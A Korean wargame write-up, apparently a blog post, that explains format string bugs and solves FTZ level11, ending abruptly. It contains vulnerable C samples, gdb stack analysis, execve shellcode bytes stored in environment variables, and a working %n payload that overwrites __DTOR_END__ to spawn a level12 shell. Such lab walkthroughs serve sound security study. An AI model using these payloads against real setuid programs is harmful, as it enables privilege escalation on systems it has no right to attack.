login as : level11
password : what!@#$?
FS(Format String, 포맷 스트링)과 FSB(Format String Bug)
프로그램을 개발할 때 화면에 보여지는 것과 실제 메모리에 저장된 값은 다르다.
예를 들어 "hello world" 문자열을 화면에 출력하는 프로그램이 있다고 했을 때 실제 메모리에는 "hello world" 문자열이 있는 것이 아니라 2진수 값이 들어있다는 것이다.
컴퓨터 기초를 안다면, 메모리나 하드디스크는 전기 신호가 있고 없음만을 판단할 수 있다는 것을 알 것이다.
메모리에 있는 2진수 값을 인간이 볼 수 있는 형태로 바꾸어 주는 것이 대표적으로 printf() 함수 같은 것에 전달하는 포맷 스트링 인자이다.
(포맷 스트링의 종류는 대표적으로 %x, %d, %o, %c, %s, %f, %p 등이 있다.)
즉, 메모리에 저장된 2진수와 화면에 출력되는 값이 같은 의미일 수는 있어도 똑같은 값이라고 이해해서는 안된다는 것이다.
또한 포맷 스트링과 관련된 코드를 볼 때는 화면에 출력되는 값만 보는 것이 아니라 메모리에 실제로 어떤 값이 저장되어 있는지도 봐야 한다.
FSB는 BOF보다 더 까다로운데, 정확한 주소를 계산해야 한다는 점 때문이다.
#include <stdio.h>
int main(int argc, char **argv)
{
printf(argv[1]);
return 0;
}
예를 들어 위와 같은 코드가 있다고 했을 때
gcc 컴파일러로 컴파일 하면 실행 파일이 생성이 되는데
(FTZ 환경이 아닌 docker 환경에서 진행한 것이므로 읽기만 권장)
생성된 실행 파일을 인자와 함께 실행하면 넘겨준 인자가 출력되는 것을 확인할 수 있다.
#include <stdio.h>
int main(int argc, char **argv)
{
printf("%s", argv[1]);
return 0;
}
원래대로라면 위와 같이 포맷 스트링을 적어줘야 하지만, 포맷 스트링없이 argv[1]을 줘도 바로 사용자가 입력한 인자가 출력되게 된다.
결과적으로만 보면 %s 포맷 스트링을 적어주든 안 적어주든 같기 때문에 문제가 없어보이지만, 해커가 인자로 일반 문자열이 아닌 포맷 스트링 지정자를 입력하면 문제가 된다.
해커가 인자로 포맷 스트링 지정자를 입력하면 포맷 스트링 지정자가 인식되어 스택을 살펴볼 수 있게 된다.
하지만 시스템마다 패턴이 다르므로 충분히 테스트를 거쳐 몇 번째 %x 포맷 스트링 지정자에서 해커가 입력한 값이 보이는지 확인해야 한다.
위와 같이 %x를 인자로 넘기면서 실행하면 시스템에서 이 포맷 스트링 지정자를 인식해 스택에서 값을 가져와 보여준다.
%x 하나를 입력했더니 ffde9454가 출력됐다.
이번에는 %x를 두 개 넘겼더니 ffe4ae74와 ffe4ae80이 출력됐다.
즉, %x의 개수만큼 메모리 주소와 같은 문자열이 출력되는 것이다.
#include <stdio.h>
int main(int argc, char **argv)
{
int a = 10;
char *str = "hello world";
printf(argv[1]);
return 0;
}
그러면 위와 같은 코드가 있다고 했을 때
(이 역시 FTZ 환경이 아닌 docker 환경에서 진행했기에 읽기만 권장)
gcc -mpreferred-stack-boundary=2 -o fmt2 fmt2.c
위와 같이 스택의 경계가 2byte씩 증가하도록 옵션을 주어 gcc 컴파일러로 컴파일을 한 후
a
a 80484c0
a 80484c0 0
a 80484c0 0 f7d77647
a 80484c0 0 f7d89647 2
a 80484c0 0 f7e21647 2 ffe21b44
a 80484c0 0 f7e21647 2 ffe21b44 ffe21b50
a 80484c0 0 f7e21647 2 ffe21b44 ffe21b50 0
%x를 1개부터 8개까지 인자로 넘겼을 때 위와 같이 출력된다.
gdb로 fmt2의 main() 함수 부분을 보면 위와 같다.
printf() 함수를 호출하는 주소에 breakpoint를 설정하고 r(run) 명령어에 "%x %x %x %x %x %x %x %x" 인자를 주어 입력한다.
그 후 esp 위치에서 메모리 조사를 하여 9개의 값을 보면 위와 같은데 a와 0x080484c0이 있다.
a는 소스 코드에서 a 변수의 값인 10이고, 0x080484c0 주소는 "hello world" 문자열의 주소라는 것을 알 수 있다.
추가로 2는 argc 값일 것이고, 0xffe3c974는 argv 배열의 주소, 그리고 0xffe3c980은 env의 주소로 예상된다.
이렇게 %x를 인자로 줌으로써 FSB의 공격 포인트를 찾을 수 있다.
그러면 이제 FTZ 환경에서 진행해보자.
cd tmp
vi ex.c
#include <stdio.h>
int main(int argc, char** argv)
{
int value = 10;
char *str = "hello, world!";
printf(argv[1]);
printf("\n");
return 0;
}
gcc -mpreferred-stack-boundary=2 -o ex ex.c
gdb -q ex
disas main
-mpreferred-stack-boundary=2 옵션을 지정해서 컴파일 하는 것은 스택의 경계(Boundary)를 2byte 단위로 증가하도록 설정한 것이다.
위의 사진을 보면 함수 프롤로그 부분에서 지역 변수 공간을 0x8, 즉 8byte만큼 할당한 것을 볼 수 있다.
낮은 주소 | ||
4byte | str | "hello, world!" 문자열의 주소 |
4byte | int a | 0xa(=10) |
4byte | SFP | |
4byte | RET | |
4byte | argc | 2 |
4byte | argv | 문자열 배열의 주소 |
4byte | env | 환경변수 |
높은 주소 |
위의 gdb 내용을 토대로 스택을 표현하면 위와 같다.
printf(argv[1]);
그리고 ex.c 코드 중 위와 같은 부분이 있는데, 이 부분에서 FSB가 발생한다.
위의 코드 부분은 사용자에게 받은 인자를 그대로 printf() 함수의 인자로 하여 출력한다.
하지만 문제점이 있는데 그것은 바로 포맷 스트링 지정자가 없이 사용자가 입력한 값을 바로 출력하도록 넘긴다는 것이다.
만약 사용자 입력값에 포맷스트링 지정자가 포함되어있다면, 해당 포맷스트링 지정자가 인식되어 스택을 살펴볼 수 있게 되는 것이다.
하지만 시스템마다 패턴이 다르고 그에 따라 충분히 테스트를 거쳐 몇 번째 %x 포맷스트링 지정자에서 사용자가 입력한 값이 보이는지 확인해야 한다.
위와 같이 사용자 입력값에 포맷스트링 지정자인 %x가 포함되어 있으니 해당 포맷스트링 지정자가 인식되어 어떤 값이 보이게 된다.
이는 printf("%x")과 같이 처리된 것이다.
포맷스트링 지정자 %x를 추가하여 입력해보니 %x의 개수만큼 메모리 주소와 같은 문자열들이 출력된다.
포맷스트링 지정자 %x를 8개 정도 입력하니 위와 같은 문자열들이 보인다.
조금 더 보기 쉽게 하기 위해서는 포맷스트링 지정자에 필드 길이 옵션을 더해 입력하면 된다.
위의 값들이 무엇인지 gdb를 이용해 main() 함수의 스택 프레임을 확인해본다.
gdb -q ex
b *[printf() 함수를 호출하는 주소]
gdb로 ex 파일을 실행하고, printf(argv[1]);에 해당하는 printf() 함수에 breakpoint를 건다.
r "%08x %08x %08x %08x %08x %08x %08x %08x"
인자를 주어 실행한다.
현재 스택의 값 10개를 출력하고, 스택에 있는 주소들 속에 저장된 값을 x 명령을 이용해 확인한다.
위의 사진을 보면 str의 값과 변수 a의 값이 이전에 위에서 예상했던 스택의 구조대로 들어가 있다.
그리고 SFP와 RET가 연속적으로 위치해 있고, 그 다음으로는 argc, argv 그리고 env가 순서대로 있음을 확인할 수 있다.
하지만 한 가지 이상한 점은 0x0804840C 주소는 "hello, world!" 문자열의 주소인데, 그 위에 0xbffffc94라는 주소가 들어있고, 이 주소는 "%08x %08x %08x %08x %08x %08x %08x %08x" 문자열 값을 가지고 있다.
quit 명령으로 gdb를 종료했다가 위와 같이 다시 실행한 뒤 printf() 함수를 호출하는 두 곳 모두에 breakpoint를 건다.
r "%08x %08x %08x %08x %08x %08x %08x %08x"
그리고 위와 같이 인자를 주어 실행하면 첫 번째 printf() 함수 호출하는 부분에서 breakpoint에 걸린다.
si(stepin) 명령을 이용해 printf() 함수 내부로 들어간다.
printf() 함수 내부로 들어간 상태에서 현재 스택 상황을 보면 printf() 함수를 위한 ret 주소인 0x08048349 다음에 이전에 위에서 확인했던 "%08x %08x %08x %08x %08x %08x %08x %08x" 문자열의 주소가 있다.
즉, 사용자가 인자로 넘긴 문자열의 주소가 스택에 들어간 것이다.
이것은 printf() 함수를 호출하기 전에 printf() 함수에 인자를 전달하기 위해 스택에 인자값을 푸시했기 때문이다.
즉, 지역변수에 대한 스택 구성이 끝난 후 printf() 함수의 인자("%08x %08x %08x %08x %08x %08x %08x %08x")에 해당하는 문자열을 스택에 푸시하고 printf() 함수를 호출한다.
낮은 주소 | ||
4bytes | printf() 함수의 RET 주소 | 0x08048349 |
4bytes | %08x %08x %08x %08x %08x %08x %08x %08x" 문자열의 주소 | 0xbffffc94 |
4bytes | "hello, world!" 문자열의 주소 | 0x0804840c |
4bytes | 변수 a의 값 | 0x0000000a |
4bytes | SFP | 0xbfffec78 |
4bytes | main() 함수의 RET 주소 | 0x42015574 |
4bytes | argc | 0x00000002 |
4bytes | argv | 0xbfffeca4 |
4bytes | env | 0xbfffecb0 |
높은 주소 |
현재까지의 스택 상황을 표현하면 위와 같다.
printf("%08x %08x %08x %08x %08x %08x %08x %08x") 함수를 실행하고 나서
main+33에 있는 add $0x04, %esp 명령이 실행되면서 다음의 printf("\n");를 처리하기 위한 메모리 공간도 이전에 printf("%08x %08x %08x %08x %08x %08x %08x %08x") 함수를 호출할 때 사용했던 공간을 그대로 재활용한다.
이처럼 스택에서는 push와 pop을 하면서 메모리 공간을 효율적으로 쓰고 있기 때문에 프로세스가 실행되는 시점에서 스택을 그리는 것이 수월하지만은 않다.
하지만 프로세스가 만들어내는 메모리의 구조를 분석할 수 없다면 검사 결과 없이 경험을 기반으로 추측만으로 진단하는 의사와 다를 바 없다.
그러므로 정확한 진단을 위해 반드시 프로세스가 만들어내는 메모리 구조를 정확하게 만들어 낼 수 있어야 한다.
level11 문제 파일
level11에서는 위와 같이 ls -l 명령어를 입력했을 때 attackme 파일이 있다.
리버싱
0x08048470 <main+0>: push %ebp
0x08048471 <main+1>: mov %esp,%ebp
0x08048473 <main+3>: sub $0x108,%esp
0x08048479 <main+9>: sub $0x8,%esp
0x0804847c <main+12>: push $0xc14
0x08048481 <main+17>: push $0xc14
0x08048486 <main+22>: call 0x804834c <setreuid>
0x0804848b <main+27>: add $0x10,%esp
0x0804848e <main+30>: sub $0x8,%esp
0x08048491 <main+33>: mov 0xc(%ebp),%eax
0x08048494 <main+36>: add $0x4,%eax
0x08048497 <main+39>: pushl (%eax)
0x08048499 <main+41>: lea 0xfffffef8(%ebp),%eax
0x0804849f <main+47>: push %eax
0x080484a0 <main+48>: call 0x804835c <strcpy>
0x080484a5 <main+53>: add $0x10,%esp
0x080484a8 <main+56>: sub $0xc,%esp
0x080484ab <main+59>: lea 0xfffffef8(%ebp),%eax
0x080484b1 <main+65>: push %eax
0x080484b2 <main+66>: call 0x804833c <printf>
0x080484b7 <main+71>: add $0x10,%esp
0x080484ba <main+74>: leave
---Type <return> to continue, or q <return> to quit---
0x080484bb <main+75>: ret
0x080484bc <main+76>: nop
0x080484bd <main+77>: nop
0x080484be <main+78>: nop
0x080484bf <main+79>: nop
End of assembler dump.
attackme 파일을 gdb로 열어 main 함수를 확인해보면 위와 같다.
0x08048470 <main+0>: push %ebp
0x08048471 <main+1>: mov %esp,%ebp
0x08048473 <main+3>: sub $0x108,%esp
0x08048479 <main+9>: sub $0x8,%esp
스택 프롤로그 작업을 한 뒤 스택에서 0x108(264) 크기만큼 공간을 확보하는데, 이는 char str[256]이지만 뒤에 dummy 값으로 8byte가 더 붙은 것이다.
(16byte * 16 = 256 =0x100)
그리고 스택에서 추가로 8byte 공간을 확보한다.
0x0804847c <main+12>: push $0xc14
0x08048481 <main+17>: push $0xc14
0x08048486 <main+22>: call 0x804834c <setreuid>
0x0804848b <main+27>: add $0x10,%esp
0x0804848e <main+30>: sub $0x8,%esp
0xc14(3092)를 스택에 두 번 넣고 setreuid() 함수를 호출한다.
3092는 level12의 id이다.
0x08048491 <main+33>: mov 0xc(%ebp),%eax
0x08048494 <main+36>: add $0x4,%eax
0x08048497 <main+39>: pushl (%eax)
0x08048499 <main+41>: lea 0xfffffef8(%ebp),%eax
0x0804849f <main+47>: push %eax
0x080484a0 <main+48>: call 0x804835c <strcpy>
0x080484a5 <main+53>: add $0x10,%esp
0x080484a8 <main+56>: sub $0xc,%esp
ebp+0xC 주소에 있는 값에 0x4를 더한 값을 스택에 넣고, ebp-0xef8 주소를 스택에 넣은 후 strcpy() 함수를 호출한다.
즉, attackme 프로그램을 실행할 때 같이 넘긴 인자값을 ebp-0xef8 주소에 복사한다는 것이다.
0x080484ab <main+59>: lea 0xfffffef8(%ebp),%eax
0x080484b1 <main+65>: push %eax
0x080484b2 <main+66>: call 0x804833c <printf>
0x080484b7 <main+71>: add $0x10,%esp
그리고 나서 ebp-0xef8 주소를 스택에 넣고 printf() 함수를 호출한다.
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char a[0x108];
setreuid(0xc14, 0xc14);
strcpy(a, argv[1]);
printf(a);
return 0;
}
위의 내용을 통합하여 의사 코드로 표현하면 위와 같다.
attackme 메모리 구조 분석
먼저 위와 같이 attackme 파일을 /tmp 디렉토리 하위에 복사한다.
gdb로 열어 main 함수를 디스어셈블하면 위와 같다.
printf() 함수에 BP를 걸고 "aaaa %x %x %x %x" 인자와 함께 프로세스를 실행한다.
메모리 조사 명령어 x로 위와 같이 전체 메모리 내용을 확인한다.
맨 처음 0xbfffe7d0 주소에는 0xbfffe7e0 값이 있는데, 0xbfffe7e0 주소는 char str[256]의 영역으로, "aaaa %x %x %x %x" 문자열이 16진수로 된 값이 있다.
즉, 0xbfffe7d0 주소에는 인자로 넘어온 문자열이 담긴 char str[256]의 시작 주소가 담긴 것이다.
0xbfffe7d4 주소에는 0xbffffc3d 값이 있는데 이는 "aaaa %x %x %x %x" 문자열의 주소이다.
스택은 높은 주소에서 낮은 주소로 거꾸로 자라지만 데이터 입력은 낮은 주소에서 높은 주소로 되어 있기 때문에 상대적으로 더 낮은 주소에 "/tmp/attackme" 문자열이 있고, 더 높은 주소에 "aaaa %x %x %x %x"문자열이 있다.
0xbfffe7e4 주소에 있는 0x20782520은 0x20은 공백을 의미하고, %25는 %를 의미하며 %78이 x를 의미하므로 <공백>%x<공백>을 의미하는 것이다.
0xbfffe8e8(0xbfffe7e0 + 0x108) 주소에 있는 0xbfffe908 값이 SFP 값이고, 그 뒤의 0x42015574 값이 RET 값이다.
그리고 0xbfffe8f0 주소에 있는 값 2는 argc의 값이고, 0xbfffe8f4 주소에 있는 값 0xbfffe934는 argv의 시작 주소를 가지고 있으며, 0xbfffe8f8 주소에 있는 값 0xbfffe940은 환경 변수 주소이다.
낮은 주소 | |||
크기 | 메모리 주소 | 의미 | 값 |
4byte | 0xbfffe7d0 | printf() 함수의 인자로 넘겨질 "aaaa %x %x %x %x" 문자열이 담긴 char str[256]의 시작 주소 | 0xbfffe7e0 |
4byte | 0xbfffe7d4 | dummy | 0xbffffc3d |
4byte | 0xbfffe7d8 | dummy | 0xbfffe800 |
4byte | 0xbfffe7dc | dummy | 0x00000001 |
256byte | 0xbfffe7e0 | char str[256] | aaaa %x %x %x %x부터 dummy 값들 |
8byte | 0xbfffe8e0 | dummy | 0x4200af84, 0x42130a14 |
4byte | 0xbfffe8e8 | SFP | 0xbfffe908 |
4byte | 0xbfffe8ec | RET | 0x42015574 |
4byte | 0xbfffe8f0 | argc | 2 |
4byte | 0xbfffe8f4 | argv | 0xbfffe934 |
4byte | 0xbfffe8f8 | env | 0xbfffe940 |
높은 주소 |
위의 분석 내용들을 표로 작성하면 위와 같다.
위의 표를 보면 포맷 스트링 지정자가 담긴 문자열의 주소가 스택의 맨 위에 푸시돼 있는 것을 확인할 수 있다.
GDB에서 나와 실제로 위와 같이 실행했을 때 char형 배열의 앞에 있는 메모리 값이 보이고, 4번째 포맷스트링 지정자에서 0x61616161(aaaa)이 출력된 것을 확인할 수 있음으로써 포맷스트링 취약점이 있는 프로그램의 메모리 구조를 볼 수 있다는 것을 알 수 있다.
(몇 번째 %x에서 사용자의 입력값이 출력될 지는 환경마다 다르므로 테스트 해봐야 한다.)
%n 지정자
이제 특정 메모리에 원하는 값을 써야 하는데 이때 이용할 수 있는 포맷 스트링 지정자가 %n이다.
포맷스트링 지정자를 배울 때 흔히 메모리의 값을 읽을 때 개발자가 원하는 형식으로 출력하는 수단에 해당하는 지정자만 배웠을 것인데 %n 지정자는 메모리에 원하는 값을 쓸 수 있게 해주는 고급 포맷스트링 지정자이다.
식별자 | 인수 | 설명 | 사용법 |
%n | int * | %n 이전까지 쓴 문자열의 바이트 수 쓰기 | %[byte 수]c%n or %[byte 수]x%n ex) `printf "\x96\x97\x04\x08"`%08x%08x%80x%n |
%hn | short * | %hn 이전까지 쓴 문자열의 바이트 수 쓰기 | %[byte 수]c%hn or %[byte 수]x%hn ex) `printf "\x96\x97\x04\x08"`%08x%08x%80x%hn |
위와 같이 %n 지정자는 %n 지정자 이전까지 출력한 byte 수를 포맷스트링 인자에서 %n부분에 해당하는 인자에 담는다.
즉 위의 표에서 사용법란에 있는 ex)에 있는 것으로 설명하자면, 4번째 포맷스트링 지정자에서 사용자가 입력한 값에 접근하기 때문에 4번째에 %n을 두고 %n에 해당하는 부분에 \x96\x97\x04\x08과 같이 접근할 주소를 적어주면 0x08049796 주소에 28를 입력한다는 것이다.
그리고 %hn은 FSB 공격을 단순화하는 방법들 중 한 가지 방법으로 short 쓰기 기법이라고 불린다.
short 쓰기 기법은 해당 메모리 주소에 2byte를 씀으로써 한 층 더 단순화 시키는 목적이다.
%n과 %hn의 차이점은 %n은 4byte를 쓰기 때문에 옆 byte를 침범하여 덮어쓰지만, %hn은 2byte를 쓰기 때문에 메모리를 침범하지 않는다.
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
static int i = 0;
char str[128];
strcpy(str, argv[1]);
printf(str);
printf("\ni=%p, i=%d\n", &i, i);
return 0;
}
위와 같이 printf(str)에서 포맷 스트링 취약점이 있는 코드가 있을 때
gcc -mpreferred-stack-boundary=4 -o fmt3 fmt3.c
컴파일 한 후
실행하면 위와 같이 출력되는데
4번 째 %x 지정자에서 첫 번째로 입력한 "aaaa" 문자열이 16진수 값으로 출력된 것을 볼 수 있다.
(참고로 첫번 째 %x 지정자 부분에 출력되는 0xbffffc32 값은 매번 바뀔 수 있다.)
실제로 gdb를 이용해 분석해보면 위와 같이 0xbffffc32 대신 0xbffffc41이 있지만, 프로그램을 실행했을 때 0xbffffc32이 들어가는 자리이므로 0xbffffc41 주소의 값을 보면 "aaaa %x %x %x %x" 문자열이 있다.
4 | 4 | 4 | 4 |
0xbffff2e4 | 0xbffff2e8 | 0xbffff2ec | 0xbffff2f0 |
0xbffffc32 | 0 | 0 | 0x61616161 |
위의 출력 결과와 위의 표를 보면 "aaaa" 문자열 뒤에 있는 %x 지정자에 대한 반응으로 "aaaa %x %x %x %x" 포맷 스트링 문자열 주소보다 먼저 스택에 push 된 값을 순차적으로 읽어와 출력했다.
(메모리 주소 같은 경우 gdb를 이용해 printf() 함수에 bp를 걸고 인자를 주어 run명령으로 실행 한 뒤 x/30x $esp 명령을 입력하여 확인했다.)
즉, 0xbffffc32 주소에 "aaaa %x %x %x %x" 문자열이 있다는 것이다.
여기서 %n 지정자를 이용해 값을 써야 하는데 예를 들어 "aaaa %x %x %x %x" 문자열을 "aaaa%08x%08x%08x%n" 문자열로 바꾸어 입력하면 "aaaa"를 입력한 후 %x 지정자가 3개 있기 때문에 스택에서 맨 아래에 있는 0xbffff2f0 주소로 ESP가 이동해 있으므로 그곳에 저장돼 있는 문자열인 "aaaa"의 16진수 값인 0x61616161에 해당하는 주소에 strlen(aaaa%08x%08x%08x)의 결과에 해당하는 값을 쓰려고 할 것이다.
하지만 0x61616161 주소에는 접근할 수 없으므로 쓰기에 실패하고 Segmentation Fault나 Core Dump 등의 에러가 발생할 것이므로 아래와 같이 "aaaa" 문자열 대신 값을 쓸 수 있는 메모리 주소를 지정하고, 문자열의 수를 조절하면 원하는 메모리 주소에 원하는 값을 쓸 수 있게 된다.
위의 결과를 보면 0x804948c 주소에 있는 변수 i의 값이 바뀐 것을 볼 수 있다.
즉, 덮어쓸 메모리 주소를 정확하게 알고 있다면 원하는 값을 해당 메모리 주소에 덮어쓸 수 있다는 것이다.
위와 같이 응용하여 "[값] + 변수 주소 + 길이 조절 + %n"의 패턴으로 입력하면 원하는 주소에 원하는 값을 쓸 수 있다.
위의 사진은 입력 문자열을 더 길게 했을 때 어떻게 원하는 주소에 원하는 값을 쓸 수 있는지에 대한 예시이다.
"aaaabbbb + 변수 주소 + 길이 조절 + %n"의 패턴으로 입력되고, 정확한 값이 쓰인 것을 볼 수 있다.
또한 위와 같이 "aaaabbbb + 변수 주소 + cccc + 길이 조절 + %n"의 패턴으로 입력하여 정확한 값을 쓸 수 있다.
위의 내용들을 응용하면 셸코드를 메모리에 올려두고 적절한 시점에 셸코드가 있는 주소로 바꾸면 된다.
예를 들어 FSB 취약점이 있는 프로세스에서 0xbfff0804 주소에 셸 코드가 있다고 가정하고, 0x08041110 주소에 printf() 함수의 주소가 있다고 가정하며, 이 프로세스에서는 0x08041110 주소를 반드시 거쳐야 한다고 가정했을 때
원래대로라면 printf() 함수가 실행될 것이지만, 0x08041110 주소의 값을 셸코드의 주소(0xbfff0804)로 바꾼다면 0x08041110 주소 부분을 처리할 때 셸코드가 실행되면서 셸이 떨어지게 될 것이다.
C언어에서의 소멸자
포맷스트링 버그는 소스코드가 없더라도 어떤 취약점이 있는지 입력값을 넣어보는 단계에서 %x 지정자를 입력해 보면서 판단할 수 있다.
즉, 소스 코드가 있어야만 공격할 수 있는 것은 아니라는 것이다.
./attackme "aaaa %x %x %x %x"
위와 같이 attackme 파일을 시행하면, 4번째 %x 지정자에서 입력값이 나오는 것을 볼 수 있다.
포맷 스트링에서 가장 대표적으로 언급되는 중요한 호출 시점이 있는데, 그건 바로 main() 함수의 소멸자이다
시스템 프로그래밍이나 임베디드 프로그래밍을 한다면 저수준 C 코딩을 경험할 수 있고, 그 과정에서 C 언어에도 생성자와 소멸자의 개념이 있다는 사실을 알 수 있다.
즉, main() 함수가 종료되는 시점에 소멸자가 호출된다고 볼 수 있고, 소멸자 역할을 하는 함수를 셸코드로 흐름을 바꿀 수 있다면 셸이 떨어진다는 것이다.
그렇다면 바이너리에 포함되어 있는 오브젝트의 심볼 목록을 확인하기 위해 nm 명령어를 이용한다.
nm ./attackme | head -n 15
위의 결과를 보면
__CTOR_END__와 __CTOR_LIST__가 생성자이고, __DTOR_LIST__와 __DTOR_END__가 소멸자이다.
또한 생성자와 소멸자의 주소들이 나와 있는데 소멸자에 해당하는 주소 0x08049610과 0x0804960C 주소가 중요하다.
그리고 이 둘 중 __DTOR_END__에 해당하는 0x08049610 주소를 통해 실제로 값을 변조하여 실행 흐름을 바꿀 수 있다.
Egg Shell 사용 전 스크립트로 수동 공격하기 - getenv.c 이용
환경 변수에 셸코드 등록하기
export sh=`printf "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"`
echo $sh
셸코드를 환경변수에 올리는 Egg Shell을 사용하기 전에 먼저 직접 환경 변수에 셸코드를 등록하고 셸코드가 담긴 환경변수의 주소를 가져와 직접 스크립트를 이용해 공격을 해본다.
위와 같이 환경 변수 sh에 shellcode를 입력한다.
셸코드가 담긴 환경 변수 주소 가져오기
vi getenv.c
#include <stdio.h>
int main(int argc, char **argv)
{
printf("%p\n", getenv(argv[1]));
return 0;
}
gcc -o getenv getenv.c
위와 같이 getenv.c 파일에 코드를 입력하고 컴파일한다.
그리고 위와 같이 실행하면 sh 환경 변수의 주소 0xbffffed9가 나온다.
스크립트를 이용해 공격하기
cd
./attackme `printf "\x10\x96\x04\x08\x10\x96\x04\x08\x12\x96\x04\x08\x12\x96\x04\x08"`%8x%8x%8x%65201c%n%49446c%n
먼저 cd 명령으로 level11 디렉토리로 이동해준 뒤 위와 같이 공격 스크립트를 작성해 level12의 권한이 있는 attackme 파일을 실행한다.
위의 스크립트를 설명하자면
__DTOR_END__(0x08049610)의 주소인 0x08049610과 half word(2byte) 뒤의 주소인 0x08049612를 입력했는데, 이렇게 입력했을 때 char str[256] 배열에 이 두 주소값이 입력되게 될 것이다.
그리고 그 다음 "%8x" 지정자를 이용해 8byte 단위의 출력 포맷을 만들면서 포인터를 3자리 앞으로 옮긴다.
그 다음 "%65201c"을 이용해 65201byte 만큼의 출력 포맷을 만들면서 %c 지정자를 이용해 4byte 만큼 더 이동하면 포맷스트링에 의한 메모리 위치는 char str[4]의 주소일 것이다.
(이는 두 번째 \x10\x96\x04\x08 부분을 말한다.)
그리고 이 str[4] 주소에는 0x08049610이 들어 있기 때문에 %n 지정자를 이용해 %n 지정자 이전에 입력한 자릿수인 0xfed9(16 + 24 + 65201)가 0x08049610에 들어간다.
16 + 24 + 65201에서
16은 "\x10\x96\x04\x08\x10\x96\x04\x08\x12\x96\x04\x08\x12\x96\x04\x08"부분이고
24는 "%8x%8x%8x" 부분이다.
16byte인 이유는 printf() 명령을 이용했기 때문인데, 만약 printf() 명령을 이용하지 않았다면
'\', 'x', '1', '0'과 같이 개별적인 문자로 인식되어 64byte가 됐을 것이고
이렇게 되면 의도한 16진수 타입의 주소값이 들어가질 수 없게 된다.
여기까지 정리하자면
1. "%8x" 지정자 3개로 인해 포인터가 str 배열 바로 앞까지 이동된다.
2. "%65201c"에서 입력된 %c 지정자로 인해 포인터가 한 번 더 이동하여 str 배열을 가리키게 된다.
즉, 타겟주소1에 해당하는 0x08049610이 입력된 메모리 주소를 가리키게 된다.
3. %n 지정자에 의해 지금까지 입력된 16byte + 24byte + 65201byte를 모두 더한 65241byte를 16진수로 바꾼 0xfed9가 0x08049610에 저장되는 것이다.
그리고 0xbffffed9을 한 번에 입력하지 않고 두 번에 나눠서 입력하는 이유가 0xbffffed9를 10진수로 바꾸면 3221225177인데 이는 정수가 표현할 수 있는 범위인 -2,147,483,648 ~ 2,147,483,647를 벗어나서 오버플로우가 되기 때문에 원하는 값을 덮어쓸 수 없기 때문이다.
그래서 원하는 값을 4byte의 주소 범위에 2byte씩 나눠서 덮어쓴 것이고, 값을 덮어쓸 때 인텔 프로세서를 사용하는 시스템이기 때문에 리틀 엔디언으로 입력한 것이다.
그리고 이제 0x08049612 주소에 0xbfff만 입력하면 되는데, 한 가지 문제점으로는 이미 65201byte를 이동한 상태라는 것이다.
필드 길이 옵션을 이용하여 값을 입력할 때는 값을 증가시킬 수는 있지만 감소시킬 수는 없다.
즉, 0xbfff - 0xfed9은 -3eda로 음수가 나오기 때문에 원하는 값 0xbfff를 넣을 수 없다는 것이다.
그러므로 이럴 때는 입력해야 할 주소의 크기를 증가시켜서 이전에 출력한 byte 수를 빼는 방법을 사용하면 된다.
그렇다면 0x1bfff에서 0xfed9를 빼면 0xC126이 되고, 이는 10진수로 49446이다.
공격 스크립트를 보면 "%49446c%n" 부분이 있는데, "%49446c" 지정자로 인해 타겟주소2로 포인터가 이동하고, 그 다음 "%n"을 이용해 타겟주소2에 있는 0x08049612 주소에 0xbfff를 쓰게 된다.
it is like this
그러면 위와 같이 셸이 떨어지게 되고 id를 입력하면 level12 권한이 보이게 된다.
Egg Shell 사용 전 스크립트로 수동 공격하기 - 다른 셸코드와 getenvaddr.c 이용
환경 변수에 셸코드 등록하기
cd tmp
export shellcode=`python -c 'print "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
echo $shellcode
위에서 getenv.c를 이용할 때와는 다른 셸코드를 사용한다.
getenv 파일로 셸코드가 담긴 환경 변수 shellcode의 주소 가져오기
위와 같이 getenv 파일로 환경 변수 shellcode의 주소 0xbfffff3c를 구한다.
스크립트를 이용해 공격하기 - 실패
cd
./attackme `printf "\x10\x96\x04\x08\x10\x96\x04\x08\x12\x96\x04\x08\x12\x96\x04\x08"`%8x%8x%8x%65300c%n%49347c%n
그리고 위와 같이 공격 스크립트를 작성해 attackme 파일을 실행하면
segmentation fault가 발생하며 셸 획득에 실패한다.
위와 같이 getenv() 함수로 불러온 주소로 했을 때 공격에 실패한다면
프로그램 이름의 길이에 따라 환경 변수 주소가 달라진 것일 수 있다.
실행 파일 이름 길이에 따른 셸코드가 담긴 환경 변수의 주소 변화
cd tmp
gcc -o getenvad getenv.c
./getenvad shellcode
위와 같이 실행 파일 이름의 길이를 증가시켜서 컴파일하고 실행하면 shellcode 환경 변수의 주소가 달라진 것을 확인할 수 있다.
실행 파일 이름의 길이가 길어질수록 주소는 작아지는데, 실행 파일 이름의 길이가 1byte 증가할수록 환경변수의 주소는 2byte씩 감소된다.
반대로 실행 파일 이름의 길이가 작아질수록 주소는 커지는데, 즉 실행 파일 이름의 길이가 1byte 감소할수록 환경변수의 주소는 2byte씩 증가한다는 것이다.
vi getenvaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
gcc -o getenvaddr getenvaddr.c
위와 같이 getenvaddr.c 파일에 코드를 입력하고 컴파일한다.
./getenvaddr shellcode ./attackme
그리고 위와 같이 실행하면
getenvaddr 프로그램을 실행했을 때 환경 변수의 주소를 구해온다.
그리고 strlen("./getenvaddr");의 결과 12에서 strlen("./attackme");의 결과 10을 뺀 결과인 2에 2를 곱하여 4를 구해온 환경 변수의 주소에 더한다.
즉 ./attackme 파일을 실행했을 때 shellcode 환경 변수의 주소는 0xbfffff38이다.
스크립트를 이용해 공격하기
cd
